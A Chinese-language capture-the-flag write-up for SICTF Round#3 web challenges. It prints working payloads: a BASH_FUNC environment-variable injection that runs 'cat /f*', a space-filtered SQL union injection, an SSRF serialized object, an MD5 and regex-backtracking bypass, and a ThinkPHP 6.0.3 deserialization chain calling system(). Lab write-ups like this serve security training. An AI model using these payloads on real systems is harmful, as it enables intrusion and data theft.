SICTF Round#3

by:Infernity

100%_upload

可真气死我了这道题,没注意看url,跟着标题走,一直在文件上传,一直在绕过滤,他要过滤也不过滤全,留个.user.ini没过滤,就一直围绕这个想办法,结果……

图片.png

打开题目,很明显的提示,index.php里有Include函数,那么我们直接上传一个jpg马,然后包含他就出来了。

图片.png

SICTF{ea391e30-b67e-4a5d-97ca-7c00f1bc107b}

Not just unserialize

新知识点,利用环境变量注入。

https://www.cnblogs.com/h0cksr/p/16189733.html

前面的反序列化这里不再赘述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class start
{
public $welcome;
public $you;
}

class SE{
public $year;
}

class CR {
public $last;
public $newyear='
worries';
}

class ET{
}

$a=new start();
$a->welcome=new SE();
$a->welcome->year=new CR();
$a->welcome->year->last=new ET();

echo base64_encode(serialize($a));

/^.(worries).$/

这个可以在前面加个空格绕过。

主要是这一段:

1
2
3
foreach ($_GET['get'] as $inject => $rce){
putenv("{$inject}={$rce}");
}

这里环境变量注入要看看上面的文章,有点复杂。

这里直接get[BASH_FUNC_echo%%]=() { cat /f*; }

即可拿到flag。

hacker

这道题考查sql无列名注入。

https://blog.csdn.net/m0_46230316/article/details/106668182

1
'/**/union/**/select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)/**/as/**/a%23

过滤了空格,经过测试,一共有两列,而flag肯定在第二列,所以是2

SICTF{4fa6acc5-9d2c-4af8-908c-53b66839b019}

EZ_SSRF

他说有另一个文件,直接开扫!找到一个admin.php,进去看看

图片.png

意思是我们需要把ip改成127.0.0.1

这里正好原文里给了curl

图片.png

那直接以127.0.0.1开头进去就拿到flag了。

O:6:”client”:1:{s:3:”url”;s:26:”http://127.0.0.1/admin.php";}

最后base64解密

图片.png

SICTF{af8d34d5-22c4-414d-a78e-b65f587712f5}

Oyst3rPHP

最讨厌藏东西的题了,开局先扫,扫出来一个www.zip这是网站备份文件,里面会有源码,在app/controller/里找到源码,审计源码,第一步

1
2
3
$right = @$_GET['left'];
$left = @$_GET['right'];
if($right !== $left && md5($right) == md5($left)){

传?left=240610708&right=QLTHNDT

第二步

1
2
3
4
5
6
if(preg_match('/.+?THINKPHP/is', $key)){
die("Oysters don't want you to eat");
}
if(stripos($key, '603THINKPHP') === false){
die("!!!Oysters don't want you to eat!!!");
}

一般只有一个preg_match的判断,里面是一个die函数,用回溯次数绕过可以解,下面stripos函数需要我们的参数里有603THINKPHP,所以传一百万个a+603THINKPHP即可。

第三步就是反序列化了,这是thinkphp6.0.3有现成的poc,在网上一搜第一个就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key"=>"cat /Oyst3333333r.php"];
private $withAttr = ["key"=>"system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);
echo base64_encode(serialize($b));

post传参拿到flag

SICTF{c35c6cef-3fbb-41d3-9a53-1191b957a9f1}


SICTF Round#3
http://example.com/2024/02/17/SICTF-Round3/
作者
Infernity
发布于
2024年2月17日
许可协议